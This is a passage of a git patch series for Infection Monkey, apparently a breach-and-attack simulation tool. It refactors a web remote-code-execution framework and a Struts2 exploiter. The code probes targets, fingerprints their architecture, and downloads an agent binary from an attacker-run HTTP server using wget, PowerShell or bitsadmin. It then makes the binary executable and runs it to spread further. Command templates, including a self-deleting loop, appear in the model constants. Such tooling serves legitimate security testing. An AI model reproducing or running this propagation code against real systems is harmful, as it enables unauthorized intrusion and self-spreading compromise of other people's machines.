set_host_arch(self, exploiter, url): + arch = WebRCE.get_host_arch(exploiter, url) if not arch: LOG.error("Couldn't get host machine's architecture") return False else: - host.os['machine'] = arch + self.host.os['machine'] = arch return True - @staticmethod - def upload_monkey(host, config, exploiter, url, commands=None): + def upload_monkey(self, url, commands=None): """ - :param host: Where we are trying to upload - :param exploiter:exploiter(url, command) Method that implements web RCE - :param config: Monkey config, to get the path where to place uploaded monkey :param url: Where exploiter should send it's request :param commands: Unformatted dict with one or two commands {'linux': LIN_CMD, 'windows': WIN_CMD} Command must have "monkey_path" and "http_path" format parameters. @@ -236,7 +224,7 @@ class WebRCE(HostExploiter): # Determine which destination path to use LOG.debug("Monkey path found") lock = Lock() - path = WebRCE.get_monkey_dest_path(config, src_path) + path = WebRCE.get_monkey_dest_path(self._config, src_path) if not path: return False # To avoid race conditions we pass a locked lock to http servers thread @@ -248,60 +236,44 @@ class WebRCE(HostExploiter): LOG.debug("Exploiter failed, http transfer creation failed.") return False LOG.info("Started http server on %s", http_path) - if not host.os['type']: + if not self.host.os['type']: LOG.error("Unknown target's os type. Skipping.") return False - if 'linux' in host.os['type']: - if not commands: - command = WGET_HTTP_UPLOAD % {'monkey_path': path, 'http_path': http_path} - else: - try: - command = commands['linux'] % {'monkey_path': path, 'http_path': http_path} - except KeyError: - LOG.error("Trying to exploit linux host, but linux command is missing/bad! " - "Check upload_monkey function docs.") - return False + # Choose command: + if commands: + command = WebRCE.get_command(self.host, path, http_path, commands) else: - if not commands: - command = POWERSHELL_HTTP_UPLOAD % {'monkey_path': path, 'http_path': http_path} - else: - try: - command = commands['windows'] % {'monkey_path': path, 'http_path': http_path} - except KeyError: - LOG.error("Trying to exploit windows host, but windows command is missing/bad! " - "Check upload_monkey function docs.") - return False - resp = exploiter(url, command) + command = WebRCE.get_command(self.host, path, http_path, + {'windows': POWERSHELL_HTTP_UPLOAD, 'linux': WGET_HTTP_UPLOAD}) + + resp = self.exploit(url, command) if not isinstance(resp, bool) and 'owershell is not recognized' in resp: LOG.info("Powershell not found in host. Using bitsadmin to download.") backup_command = RDP_CMDLINE_HTTP % {'monkey_path': path, 'http_path': http_path} - resp = exploiter(url, backup_command) + resp = self.exploit(url, backup_command) lock.release() http_thread.join(DOWNLOAD_TIMEOUT) http_thread.stop() - LOG.info("Uploading proccess finished") + LOG.info("Uploading process finished") return {'response': resp, 'path': path} - @staticmethod - def change_permissions(host, url, exploiter, path, command=None): + def change_permissions(self, url, path, command=None): """ Method for linux hosts. Makes monkey executable - :param host: Host info :param url: Where to send malicious packets - :param exploiter: exploiter(url, command) Method that implements web RCE. :param path: Path to monkey on remote host :param command: Formatted command for permission change or None :return: response, False if failed and True if permission change is not needed """ LOG.info("Changing monkey's permissions") - if 'windows' in host.os['type']: + if 'windows' in self.host.os['type']: LOG.info("Permission change not required for windows") return True if not command: command = CHMOD_MONKEY % {'monkey_path': path} try: - resp = exploiter(url, command) + resp = self.exploit(url, command) except Exception as e: LOG.error("Something went wrong while trying to change permission: %s" % e) return False @@ -314,18 +286,15 @@ class WebRCE(HostExploiter): LOG.error("Missing permissions to make monkey executable") return False elif 'No such file or directory' in resp: - LOG.error("Could not change persmission because monkey was not found. Check path parameter.") + LOG.error("Could not change permission because monkey was not found. Check path parameter.") return False LOG.info("Permission change finished") return resp - @staticmethod - def execute_remote_monkey(host, url, exploiter, path, dropper=False): + def execute_remote_monkey(self, url, path, dropper=False): """ This method executes remote monkey - :param host: Host info :param url: Where to send malicious packets - :param exploiter: exploiter(url, command) Method that implements web RCE. :param path: Path to monkey on remote host :param dropper: Should remote monkey be executed with dropper or with monkey arg? :return: Response or False if failed @@ -339,7 +308,7 @@ class WebRCE(HostExploiter): monkey_cmd = build_monkey_commandline(host, get_monkey_depth() - 1) command = RUN_MONKEY % {'monkey_path': path, 'monkey_type': MONKEY_ARG, 'parameters': monkey_cmd} try: - resp = exploiter(url, command) + resp = self.exploit(url, command) # If exploiter returns True / False if type(resp) is bool: LOG.info("Execution attempt successfully finished") diff --git a/infection_monkey/network/tcp_scanner.py b/infection_monkey/network/tcp_scanner.py index e291e8d3e..625173e97 100644 --- a/infection_monkey/network/tcp_scanner.py +++ b/infection_monkey/network/tcp_scanner.py @@ -2,7 +2,7 @@ from itertools import izip_longest from random import shuffle from network import HostScanner, HostFinger -from network.tools import check_tcp_ports +from network.tools import check_tcp_ports, tcp_port_to_service __author__ = 'itamar' @@ -31,7 +31,7 @@ class TcpScanner(HostScanner, HostFinger): ports, banners = check_tcp_ports(host.ip_addr, target_ports, self._config.tcp_scan_timeout / 1000.0, self._config.tcp_scan_get_banner) for target_port, banner in izip_longest(ports, banners, fillvalue=None): - service = 'tcp-' + str(target_port) + service = tcp_port_to_service(target_port) host.services[service] = {} if banner: host.services[service]['banner'] = banner diff --git a/infection_monkey/network/tools.py b/infection_monkey/network/tools.py index 5053b6c32..303b0dd8f 100644 --- a/infection_monkey/network/tools.py +++ b/infection_monkey/network/tools.py @@ -154,3 +154,7 @@ def check_tcp_ports(ip, ports, timeout=DEFAULT_TIMEOUT, get_banner=False): except socket.error as exc: LOG.warning("Exception when checking ports on host %s, Exception: %s", str(ip), exc) return [], [] + + +def tcp_port_to_service(port): + return 'tcp-' + str(port) diff --git a/infection_monkey/transport/http.py b/infection_monkey/transport/http.py index 9f526565f..aa6cf4ee0 100644 --- a/infection_monkey/transport/http.py +++ b/infection_monkey/transport/http.py @@ -183,7 +183,14 @@ class HTTPServer(threading.Thread): self._stopped = True self.join(timeout) + class LockedHTTPServer(threading.Thread): + """ + Same as HTTPServer used for file downloads just with locks to avoid racing conditions. + """ + # Seconds to wait until server stops + STOP_TIMEOUT = 5 + def __init__(self, local_ip, local_port, filename, lock, max_downloads=1): self._local_ip = local_ip self._local_port = local_port @@ -210,10 +217,11 @@ class LockedHTTPServer(threading.Thread): self._stopped = True - def stop(self, timeout=5): + def stop(self, timeout=STOP_TIMEOUT): self._stopped = True self.join(timeout) + class HTTPConnectProxy(TransportProxyBase): def run(self): httpd = BaseHTTPServer.HTTPServer((self.local_host, self.local_port), HTTPConnectProxyHandler) From 5232d84e061f448b0f3114292cd0851977fc887e Mon Sep 17 00:00:00 2001 From: Vakaris Date: Thu, 9 Aug 2018 16:52:15 +0300 Subject: [PATCH 06/14] Almost all notes fixed, but nothing tested. --- infection_monkey/exploit/struts2.py | 15 ++++---- infection_monkey/exploit/tools.py | 38 +++++++++++++++++++-- infection_monkey/exploit/web_rce.py | 53 +++++++++-------------------- infection_monkey/model/__init__.py | 3 -- 4 files changed, 61 insertions(+), 48 deletions(-) diff --git a/infection_monkey/exploit/struts2.py b/infection_monkey/exploit/struts2.py index 3a08d0487..c489a3784 100644 --- a/infection_monkey/exploit/struts2.py +++ b/infection_monkey/exploit/struts2.py @@ -12,7 +12,7 @@ import logging from exploit import HostExploiter from exploit.tools import get_target_monkey, get_monkey_depth from tools import build_monkey_commandline, HTTPTools -from model import CHECK_LINUX, CHECK_WINDOWS, POWERSHELL_HTTP, WGET_HTTP, EXISTS, ID_STRING, RDP_CMDLINE_HTTP, \ +from model import CHECK_COMMAND, POWERSHELL_HTTP_UPLOAD, WGET_HTTP_UPLOAD, ID_STRING, RDP_CMDLINE_HTTP, \ DROPPER_ARG __author__ = "VakarisZ" @@ -21,6 +21,9 @@ LOG = logging.getLogger(__name__) DOWNLOAD_TIMEOUT = 300 +# Commands used to check if monkeys already exists +FIND_FILE = "ls %s" + class Struts2Exploiter(HostExploiter): _TARGET_OS_TYPE = ['linux', 'windows'] @@ -56,7 +59,7 @@ class Struts2Exploiter(HostExploiter): return self.exploit_windows(url, [dropper_path_win_32, dropper_path_win_64]) def check_remote_file(self, host, path): - command = EXISTS % path + command = FIND_FILE % path resp = self.exploit(host, command) if 'No such file' in resp: return False @@ -88,7 +91,7 @@ class Struts2Exploiter(HostExploiter): cmdline = build_monkey_commandline(self.host, get_monkey_depth() - 1, dropper_path) - command = WGET_HTTP % {'monkey_path': dropper_path, + command = WGET_HTTP_UPLOAD % {'monkey_path': dropper_path, 'http_path': http_path, 'parameters': cmdline} self.exploit(url, command) @@ -138,7 +141,7 @@ class Struts2Exploiter(HostExploiter): # We need to double escape backslashes. Once for payload, twice for command cmdline = re.sub(r"\\", r"\\\\", build_monkey_commandline(self.host, get_monkey_depth() - 1, dropper_path)) - command = POWERSHELL_HTTP % {'monkey_path': re.sub(r"\\", r"\\\\", dropper_path), + command = POWERSHELL_HTTP_UPLOAD % {'monkey_path': re.sub(r"\\", r"\\\\", dropper_path), 'http_path': http_path, 'parameters': cmdline} backup_command = RDP_CMDLINE_HTTP % {'monkey_path': re.sub(r"\\", r"\\\\", dropper_path), @@ -159,7 +162,7 @@ class Struts2Exploiter(HostExploiter): @staticmethod def check_exploit_windows(url): - resp = Struts2Exploiter.exploit(url, CHECK_WINDOWS) + resp = Struts2Exploiter.exploit(url, CHECK_COMMAND) if resp and ID_STRING in resp: if "64-bit" in resp: return "64" @@ -170,7 +173,7 @@ class Struts2Exploiter(HostExploiter): @staticmethod def check_exploit_linux(url): - resp = Struts2Exploiter.exploit(url, CHECK_LINUX) + resp = Struts2Exploiter.exploit(url, CHECK_COMMAND) if resp and ID_STRING in resp: # Pulls architecture string arch = re.search('(?<=Architecture:)\s+(\w+)', resp) diff --git a/infection_monkey/exploit/tools.py b/infection_monkey/exploit/tools.py index 5ba7f6869..3b5b40649 100644 --- a/infection_monkey/exploit/tools.py +++ b/infection_monkey/exploit/tools.py @@ -22,6 +22,7 @@ from network import local_ips from network.firewall import app as firewall from network.info import get_free_tcp_port, get_routes from transport import HTTPServer, LockedHTTPServer +from threading import Lock class DceRpcException(Exception): @@ -387,9 +388,9 @@ class HTTPTools(object): return "http://%s:%s/%s" % (local_ip, local_port, urllib.quote(os.path.basename(src_path))), httpd @staticmethod - def create_locked_transfer(host, src_path, lock, local_ip=None, local_port=None): + def create_locked_transfer(host, src_path, local_ip=None, local_port=None): """ - Create http server for file transfer with lock + Create http server for file transfer with a lock :param host: Variable with target's information :param src_path: Monkey's path on current system :param lock: Instance of lock @@ -397,6 +398,9 @@ class HTTPTools(object): :param local_port: :return: """ + # To avoid race conditions we pass a locked lock to http servers thread + lock = Lock() + lock.acquire() if not local_port: local_port = get_free_tcp_port() @@ -407,9 +411,10 @@ class HTTPTools(object): return None, None httpd = LockedHTTPServer(local_ip, local_port, src_path, lock) + httpd.daemon = True httpd.start() - + lock.acquire() return "http://%s:%s/%s" % (local_ip, local_port, urllib.quote(os.path.basename(src_path))), httpd @@ -507,3 +512,30 @@ def get_binaries_dir_path(): def get_monkey_depth(): from config import WormConfiguration return WormConfiguration.depth + + +def get_monkey_dest_path(src_path): + """ + Gets destination path from source path. + :param src_path: source path of local monkey. egz : http://localserver:9999/monkey/windows-32.exe + :return: Corresponding monkey path from configuration + """ + from config import WormConfiguration + if not src_path or ('linux' not in src_path and 'windows' not in src_path): + LOG.error("Can't get destination path because source path %s is invalid.", src_path) + return False + try: + if 'linux' in src_path: + return WormConfiguration.dropper_target_path_linux + elif 'windows-32' in src_path: + return WormConfiguration.dropper_target_path_win_32 + elif 'windows-64' in src_path: + return WormConfiguration.dropper_target_path_win_64 + else: + LOG.error("Could not figure out what type of monkey server was trying to upload, " + "thus destination path can not be chosen.") + return False + except AttributeError: + LOG.error("Seems like monkey's source configuration property names changed. " + "Can not get destination path to upload monkey") + return False diff --git a/infection_monkey/exploit/web_rce.py b/infection_monkey/exploit/web_rce.py index dedcb9f6b..d3ae83b6d 100644 --- a/infection_monkey/exploit/web_rce.py +++ b/infection_monkey/exploit/web_rce.py @@ -6,12 +6,14 @@ from model import * from posixpath import join import re from abc import abstractmethod -from exploit.tools import get_target_monkey, get_monkey_depth, build_monkey_commandline, HTTPTools +from exploit.tools import get_target_monkey, get_monkey_depth, build_monkey_commandline, HTTPTools, get_monkey_dest_path from network.tools import check_tcp_port, tcp_port_to_service __author__ = 'VakarisZ' LOG = logging.getLogger(__name__) +# Commands used to check if monkeys already exists +LOOK_FOR_FILE = "ls %s" class WebRCE(HostExploiter): @@ -101,12 +103,11 @@ class WebRCE(HostExploiter): """ url_list = [] if extensions: - for idx, extension in enumerate(extensions): - if '/' in extension[0]: - extensions[idx] = extension[1:] + extensions = [(e[1:] if '/' == e[0] else e) for e in extensions] else: extensions = [""] for port in ports: + extensions = [(e[1:] if '/' == e[0] else e) for e in extensions] for extension in extensions: if port[1]: protocol = "https" @@ -126,6 +127,7 @@ class WebRCE(HostExploiter): resp = self.exploit(url, ARCH_LINUX) if resp: # Pulls architecture string + # TODO TEST IF NOT FOUND arch = re.search('(?<=Architecture:)\s+(\w+)', resp) arch = arch.group(1) if arch: @@ -145,8 +147,8 @@ class WebRCE(HostExploiter): else: return False - def check_remote_file(self, url, path): - command = EXISTS % path + def check_remote_monkey_file(self, url, path): + command = LOOK_FOR_FILE % path resp = self.exploit(url, command) if 'No such file' in resp: return False @@ -163,36 +165,20 @@ class WebRCE(HostExploiter): if 'linux' in self.host.os['type']: paths.append(self._config.dropper_target_path_linux) else: - paths.append(self._config.dropper_target_path_win_32) - paths.append(self._config.dropper_target_path_win_64) + paths.extend([self._config.dropper_target_path_win_32, self._config.dropper_target_path_win_64]) for path in paths: if self.check_remote_file(url, path): return True return False - def get_monkey_dest_path(self, src_path): - """ - Gets destination path from source path. - :param src_path: source path of local monkey. egz : http://localserver:9999/monkey/windows-32.exe - :return: Corresponding monkey path from configuration - """ - if not src_path or ('linux' not in src_path and 'windows' not in src_path): - LOG.error("Can't get destination path because source path %s is invalid.", src_path) - return False - try: - if 'linux' in src_path: - return self._config.dropper_target_path_linux - elif "windows-32" in src_path: - return self._config.dropper_target_path_win_32 - else: - return self._config.dropper_target_path_win_64 - except AttributeError: - LOG.error("Seems like configuration properties names changed. " - "Can not get destination path to upload monkey") - return False - # Wrapped functions: def get_ports_w(self, ports, names): + """ + Get ports wrapped with log + :param ports: Potential ports to exploit. For example WormConfiguration.HTTP_PORTS + :param names: [] of service names. Example: ["http"] + :return: Array of ports: [[80, False], [443, True]] or False. Port always consists of [ port.nr, IsHTTPS?] + """ ports = WebRCE.get_open_service_ports(self.host, ports, names) if not ports: LOG.info("All default web ports are closed on %r, skipping", host) @@ -223,15 +209,11 @@ class WebRCE(HostExploiter): return False # Determine which destination path to use LOG.debug("Monkey path found") - lock = Lock() - path = WebRCE.get_monkey_dest_path(self._config, src_path) + path = get_monkey_dest_path(src_path) if not path: return False - # To avoid race conditions we pass a locked lock to http servers thread - lock.acquire() # Create server for http download and wait for it's startup. - http_path, http_thread = HTTPTools.create_locked_transfer(host, src_path, lock) - lock.acquire() + http_path, http_thread = HTTPTools.create_locked_transfer(host, src_path) if not http_path: LOG.debug("Exploiter failed, http transfer creation failed.") return False @@ -252,7 +234,6 @@ class WebRCE(HostExploiter): LOG.info("Powershell not found in host. Using bitsadmin to download.") backup_command = RDP_CMDLINE_HTTP % {'monkey_path': path, 'http_path': http_path} resp = self.exploit(url, backup_command) - lock.release() http_thread.join(DOWNLOAD_TIMEOUT) http_thread.stop() LOG.info("Uploading process finished") diff --git a/infection_monkey/model/__init__.py b/infection_monkey/model/__init__.py index 0c1e5a09b..31bc77eb8 100644 --- a/infection_monkey/model/__init__.py +++ b/infection_monkey/model/__init__.py @@ -29,7 +29,4 @@ CHECK_COMMAND = "echo %s" % ID_STRING ARCH_WINDOWS = "wmic os get osarchitecture" ARCH_LINUX = "lscpu" -# Commands used to check if monkeys already exists -EXISTS = "ls %s" - DOWNLOAD_TIMEOUT = 300 \ No newline at end of file From 0d45a44d6b1600ef78da8d520898205a9b23c621 Mon Sep 17 00:00:00 2001 From: Vakaris Date: Fri, 10 Aug 2018 15:07:56 +0300 Subject: [PATCH 07/14] Final, tested framework fixes --- infection_monkey/exploit/web_rce.py | 32 ++++++++++++++--------------- infection_monkey/model/__init__.py | 3 +-- 2 files changed, 16 insertions(+), 19 deletions(-) diff --git a/infection_monkey/exploit/web_rce.py b/infection_monkey/exploit/web_rce.py index d3ae83b6d..f99e4da52 100644 --- a/infection_monkey/exploit/web_rce.py +++ b/infection_monkey/exploit/web_rce.py @@ -107,7 +107,6 @@ class WebRCE(HostExploiter): else: extensions = [""] for port in ports: - extensions = [(e[1:] if '/' == e[0] else e) for e in extensions] for extension in extensions: if port[1]: protocol = "https" @@ -127,9 +126,12 @@ class WebRCE(HostExploiter): resp = self.exploit(url, ARCH_LINUX) if resp: # Pulls architecture string - # TODO TEST IF NOT FOUND arch = re.search('(?<=Architecture:)\s+(\w+)', resp) - arch = arch.group(1) + try: + arch = arch.group(1) + except AttributeError: + LOG.error("Looked for linux architecture but could not find it") + return False if arch: return arch else: @@ -167,7 +169,7 @@ class WebRCE(HostExploiter): else: paths.extend([self._config.dropper_target_path_win_32, self._config.dropper_target_path_win_64]) for path in paths: - if self.check_remote_file(url, path): + if self.check_remote_monkey_file(url, path): return True return False @@ -179,15 +181,15 @@ class WebRCE(HostExploiter): :param names: [] of service names. Example: ["http"] :return: Array of ports: [[80, False], [443, True]] or False. Port always consists of [ port.nr, IsHTTPS?] """ - ports = WebRCE.get_open_service_ports(self.host, ports, names) + ports = self.get_open_service_ports(ports, names) if not ports: LOG.info("All default web ports are closed on %r, skipping", host) return False else: return ports - def set_host_arch(self, exploiter, url): - arch = WebRCE.get_host_arch(exploiter, url) + def set_host_arch(self, url): + arch = self.get_host_arch(url) if not arch: LOG.error("Couldn't get host machine's architecture") return False @@ -203,7 +205,7 @@ class WebRCE(HostExploiter): :return: {'response': response/False, 'path': monkeys_path_in_host} """ LOG.info("Trying to upload monkey to the host.") - src_path = get_target_monkey(host) + src_path = get_target_monkey(self.host) if not src_path: LOG.info("Can't find suitable monkey executable for host %r", host) return False @@ -213,7 +215,7 @@ class WebRCE(HostExploiter): if not path: return False # Create server for http download and wait for it's startup. - http_path, http_thread = HTTPTools.create_locked_transfer(host, src_path) + http_path, http_thread = HTTPTools.create_locked_transfer(self.host, src_path) if not http_path: LOG.debug("Exploiter failed, http transfer creation failed.") return False @@ -223,10 +225,9 @@ class WebRCE(HostExploiter): return False # Choose command: if commands: - command = WebRCE.get_command(self.host, path, http_path, commands) + command = self.get_command(path, http_path, commands) else: - command = WebRCE.get_command(self.host, path, http_path, - {'windows': POWERSHELL_HTTP_UPLOAD, 'linux': WGET_HTTP_UPLOAD}) + command = self.get_command(path, http_path, {'windows': POWERSHELL_HTTP_UPLOAD, 'linux': WGET_HTTP_UPLOAD}) resp = self.exploit(url, command) @@ -283,10 +284,10 @@ class WebRCE(HostExploiter): LOG.info("Trying to execute remote monkey") # Get monkey command line if dropper and path: - monkey_cmd = build_monkey_commandline(host, get_monkey_depth() - 1, path) + monkey_cmd = build_monkey_commandline(self.host, get_monkey_depth() - 1, path) command = RUN_MONKEY % {'monkey_path': path, 'monkey_type': DROPPER_ARG, 'parameters': monkey_cmd} else: - monkey_cmd = build_monkey_commandline(host, get_monkey_depth() - 1) + monkey_cmd = build_monkey_commandline(self.host, get_monkey_depth() - 1) command = RUN_MONKEY % {'monkey_path': path, 'monkey_type': MONKEY_ARG, 'parameters': monkey_cmd} try: resp = self.exploit(url, command) @@ -306,6 +307,3 @@ class WebRCE(HostExploiter): return False LOG.info("Execution attempt finished") return resp - - - diff --git a/infection_monkey/model/__init__.py b/infection_monkey/model/__init__.py index 31bc77eb8..8b4f8d4ab 100644 --- a/infection_monkey/model/__init__.py +++ b/infection_monkey/model/__init__.py @@ -17,8 +17,7 @@ RDP_CMDLINE_HTTP_VBS = 'set o=!TMP!\!RANDOM!.tmp&@echo Set objXMLHTTP=CreateObje DELAY_DELETE_CMD = 'cmd /c (for /l %%i in (1,0,2) do (ping -n 60 127.0.0.1 & del /f /q %(file_path)s & if not exist %(file_path)s exit)) > NUL 2>&1' # Commands used for downloading monkeys -POWERSHELL_HTTP_UPLOAD = "powershell -NoLogo -Command \"Invoke-WebRequest -Uri \\\'%(http_path)s\\\' -OutFile \\\'%(monkey_path)s\\\' -UseBasicParsing\"" -POWERSHELL_HTTP_UPLOAD_NOT_ESCAPED = "powershell -NoLogo -Command \"Invoke-WebRequest -Uri \'%(http_path)s\' -OutFile \'%(monkey_path)s\' -UseBasicParsing\"" +POWERSHELL_HTTP_UPLOAD = "powershell -NoLogo -Command \"Invoke-WebRequest -Uri \'%(http_path)s\' -OutFile \'%(monkey_path)s\' -UseBasicParsing\"" WGET_HTTP_UPLOAD = "wget -O %(monkey_path)s %(http_path)s" RDP_CMDLINE_HTTP = 'bitsadmin /transfer Update /download /priority high %(http_path)s %(monkey_path)s' CHMOD_MONKEY = "chmod +x %(monkey_path)s" From b8bda692b91341d790f3e3f64717ef0d3ace0f4e Mon Sep 17 00:00:00 2001 From: Vakaris Date: Wed, 15 Aug 2018 16:01:27 +0300 Subject: [PATCH 08/14] Notes fixed v.2 --- infection_monkey/exploit/tools.py | 21 +++++----- infection_monkey/exploit/web_rce.py | 59 ++++++++++++++++++++++++----- infection_monkey/model/__init__.py | 4 +- infection_monkey/transport/http.py | 4 ++ 4 files changed, 65 insertions(+), 23 deletions(-) diff --git a/infection_monkey/exploit/tools.py b/infection_monkey/exploit/tools.py index 3b5b40649..08cc94af1 100644 --- a/infection_monkey/exploit/tools.py +++ b/infection_monkey/exploit/tools.py @@ -393,10 +393,9 @@ class HTTPTools(object): Create http server for file transfer with a lock :param host: Variable with target's information :param src_path: Monkey's path on current system - :param lock: Instance of lock - :param local_ip: - :param local_port: - :return: + :param local_ip: IP where to host server + :param local_port: Port at which to host monkey's download + :return: Server address in http://%s:%s/%s format and LockedHTTPServer handler """ # To avoid race conditions we pass a locked lock to http servers thread lock = Lock() @@ -514,22 +513,22 @@ def get_monkey_depth(): return WormConfiguration.depth -def get_monkey_dest_path(src_path): +def get_monkey_dest_path(url_to_monkey): """ Gets destination path from source path. - :param src_path: source path of local monkey. egz : http://localserver:9999/monkey/windows-32.exe + :param url_to_monkey: Hosted monkey's url. egz : http://localserver:9999/monkey/windows-32.exe :return: Corresponding monkey path from configuration """ from config import WormConfiguration - if not src_path or ('linux' not in src_path and 'windows' not in src_path): - LOG.error("Can't get destination path because source path %s is invalid.", src_path) + if not url_to_monkey or ('linux' not in url_to_monkey and 'windows' not in url_to_monkey): + LOG.error("Can't get destination path because source path %s is invalid.", url_to_monkey) return False try: - if 'linux' in src_path: + if 'linux' in url_to_monkey: return WormConfiguration.dropper_target_path_linux - elif 'windows-32' in src_path: + elif 'windows-32' in url_to_monkey: return WormConfiguration.dropper_target_path_win_32 - elif 'windows-64' in src_path: + elif 'windows-64' in url_to_monkey: return WormConfiguration.dropper_target_path_win_64 else: LOG.error("Could not figure out what type of monkey server was trying to upload, " diff --git a/infection_monkey/exploit/web_rce.py b/infection_monkey/exploit/web_rce.py index f99e4da52..48a599f5c 100644 --- a/infection_monkey/exploit/web_rce.py +++ b/infection_monkey/exploit/web_rce.py @@ -1,6 +1,5 @@ import logging -from threading import Lock from exploit import HostExploiter from model import * from posixpath import join @@ -24,9 +23,50 @@ class WebRCE(HostExploiter): self.HTTP = [str(port) for port in self._config.HTTP_PORTS] self.skip_exist = self._config.skip_exploit_if_file_exist - @abstractmethod def exploit_host(self): - raise NotImplementedError() + """ + Example workflow of the framework. Most likely you will have to override this method. + :return: True if exploited and False otherwise. + """ + # Get open ports + ports = self.get_ports_w(self.HTTP, ["http"]) + if not ports: + return False + # Get urls to try to exploit + urls = self.build_potential_urls(ports) + vulnerable_urls = [] + for url in urls: + if self.check_if_exploitable(url): + vulnerable_urls.append(url) + self._exploit_info['vulnerable_urls'] = vulnerable_urls + + if not vulnerable_urls: + return False + + # Skip if monkey already exists and this option is given + if self.skip_exist and self.check_remote_files(vulnerable_urls[0]): + LOG.info("Host %s was already infected under the current configuration, done" % self.host) + return True + + # Check for targets architecture (if it's 32 or 64 bit) + if not self.set_host_arch(vulnerable_urls[0]): + return False + + # Upload the right monkey to target + data = self.upload_monkey(vulnerable_urls[0]) + + if data is not False and data['response'] is False: + return False + + # Change permissions to transform monkey into executable file + if self.change_permissions(vulnerable_urls[0], data['path']) is False: + return False + + # Execute remote monkey + if self.execute_remote_monkey(vulnerable_urls[0], data['path']) is False: + return False + + return True @abstractmethod def exploit(self, url, command): @@ -34,7 +74,7 @@ class WebRCE(HostExploiter): A reference to a method which implements web exploit logic. :param url: Url to send malicious packet to. Format: [http/https]://ip:port/extension. :param command: Command which will be executed on remote host - :return: Command's output string. Or True/False if it's a blind exploit + :return: RCE's output/True if successful or False if failed """ raise NotImplementedError() @@ -123,7 +163,7 @@ class WebRCE(HostExploiter): :return: Machine architecture string or false. Eg. 'i686', '64', 'x86_64', ... """ if 'linux' in self.host.os['type']: - resp = self.exploit(url, ARCH_LINUX) + resp = self.exploit(url, GET_ARCH_LINUX) if resp: # Pulls architecture string arch = re.search('(?<=Architecture:)\s+(\w+)', resp) @@ -140,7 +180,7 @@ class WebRCE(HostExploiter): else: return False else: - resp = self.exploit(url, ARCH_WINDOWS) + resp = self.exploit(url, GET_ARCH_WINDOWS) if resp: if "64-bit" in resp: return "64" @@ -224,10 +264,9 @@ class WebRCE(HostExploiter): LOG.error("Unknown target's os type. Skipping.") return False # Choose command: - if commands: - command = self.get_command(path, http_path, commands) - else: - command = self.get_command(path, http_path, {'windows': POWERSHELL_HTTP_UPLOAD, 'linux': WGET_HTTP_UPLOAD}) + if not commands: + commands = {'windows': POWERSHELL_HTTP_UPLOAD, 'linux': WGET_HTTP_UPLOAD} + command = self.get_command(path, http_path, commands) resp = self.exploit(url, command) diff --git a/infection_monkey/model/__init__.py b/infection_monkey/model/__init__.py index 8b4f8d4ab..4a8218a2e 100644 --- a/infection_monkey/model/__init__.py +++ b/infection_monkey/model/__init__.py @@ -25,7 +25,7 @@ RUN_MONKEY = " %(monkey_path)s %(monkey_type)s %(parameters)s" # Commands used to check for architecture and if machine is exploitable CHECK_COMMAND = "echo %s" % ID_STRING # Architecture checking commands -ARCH_WINDOWS = "wmic os get osarchitecture" -ARCH_LINUX = "lscpu" +GET_ARCH_WINDOWS = "wmic os get osarchitecture" +GET_ARCH_LINUX = "lscpu" DOWNLOAD_TIMEOUT = 300 \ No newline at end of file diff --git a/infection_monkey/transport/http.py b/infection_monkey/transport/http.py index aa6cf4ee0..72664f0ab 100644 --- a/infection_monkey/transport/http.py +++ b/infection_monkey/transport/http.py @@ -187,6 +187,10 @@ class HTTPServer(threading.Thread): class LockedHTTPServer(threading.Thread): """ Same as HTTPServer used for file downloads just with locks to avoid racing conditions. + You create a lock instance and pass it to this server's constructor. Then acquire the lock + before starting the server and after it. Once the server starts it will release the lock + and subsequent code will be able to continue to execute. That way subsequent code will + always call already running HTTP server """ # Seconds to wait until server stops STOP_TIMEOUT = 5 From 5565a8041888bba1c8d722548104446ea85ad9f1 Mon Sep 17 00:00:00 2001 From: Vakaris Date: Fri, 17 Aug 2018 13:53:09 +0300 Subject: [PATCH 09/14] Web_RCE framework now supports custom monkey uploading paths( we don't always have permissions to uppload to C:\Windows) --- infection_monkey/exploit/web_rce.py | 68 ++++++++++++++++++++++++++--- 1 file changed, 62 insertions(+), 6 deletions(-) diff --git a/infection_monkey/exploit/web_rce.py b/infection_monkey/exploit/web_rce.py index 48a599f5c..c26d4a920 100644 --- a/infection_monkey/exploit/web_rce.py +++ b/infection_monkey/exploit/web_rce.py @@ -17,9 +17,19 @@ LOOK_FOR_FILE = "ls %s" class WebRCE(HostExploiter): - def __init__(self, host): + def __init__(self, host, monkey_target_paths=None): + """ + :param host: Host that we'll attack + :param monkey_target_paths: Dict in format {'linux': '/tmp/monkey.sh', 'win32': './monkey32.exe', 'win64':... } + """ super(WebRCE, self).__init__(host) self._config = __import__('config').WormConfiguration + if monkey_target_paths: + self.monkey_target_paths = monkey_target_paths + else: + self.monkey_target_paths = {'linux': self._config.dropper_target_path_linux, + 'win32': self._config.dropper_target_path_win_32, + 'win64': self._config.dropper_target_path_win_64} self.HTTP = [str(port) for port in self._config.HTTP_PORTS] self.skip_exist = self._config.skip_exploit_if_file_exist @@ -87,7 +97,7 @@ class WebRCE(HostExploiter): candidate_services = {} candidate_services.update({ service: self.host.services[service] for service in self.host.services if - (self.host.services[service]['name'] in names) + (self.host.services[service] and self.host.services[service]['name'] in names) }) valid_ports = [(port, candidate_services['tcp-' + str(port)]['data'][1]) for port in port_list if @@ -205,9 +215,9 @@ class WebRCE(HostExploiter): """ paths = [] if 'linux' in self.host.os['type']: - paths.append(self._config.dropper_target_path_linux) + paths.append(self.monkey_target_paths['linux']) else: - paths.extend([self._config.dropper_target_path_win_32, self._config.dropper_target_path_win_64]) + paths.extend([self.monkey_target_paths['win32'], self.monkey_target_paths['win64']]) for path in paths: if self.check_remote_monkey_file(url, path): return True @@ -251,7 +261,7 @@ class WebRCE(HostExploiter): return False # Determine which destination path to use LOG.debug("Monkey path found") - path = get_monkey_dest_path(src_path) + path = self.get_monkey_upload_path(src_path) if not path: return False # Create server for http download and wait for it's startup. @@ -323,7 +333,11 @@ class WebRCE(HostExploiter): LOG.info("Trying to execute remote monkey") # Get monkey command line if dropper and path: - monkey_cmd = build_monkey_commandline(self.host, get_monkey_depth() - 1, path) + # If dropper is chosen we try to move monkey to default location + default_path = self.custom_to_dropper_path(path) + if default_path is False: + return False + monkey_cmd = build_monkey_commandline(self.host, get_monkey_depth() - 1, default_path) command = RUN_MONKEY % {'monkey_path': path, 'monkey_type': DROPPER_ARG, 'parameters': monkey_cmd} else: monkey_cmd = build_monkey_commandline(self.host, get_monkey_depth() - 1) @@ -346,3 +360,45 @@ class WebRCE(HostExploiter): return False LOG.info("Execution attempt finished") return resp + + def get_monkey_upload_path(self, url_to_monkey): + """ + Gets destination path from one of 